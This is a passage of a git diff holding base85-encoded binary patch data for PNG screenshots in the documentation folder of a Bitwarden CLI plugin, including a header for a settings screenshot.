zyWxt0zgmK?=@=?ovG>{b=gMp5O0Ak% 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 literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/10-settings.png b/plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/10-settings.png new file mode 100644 index 0000000000000000000000000000000000000000..0cc397702c5306c70f55a4af3ef2645fd5c6740d GIT binary patch literal 127353 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 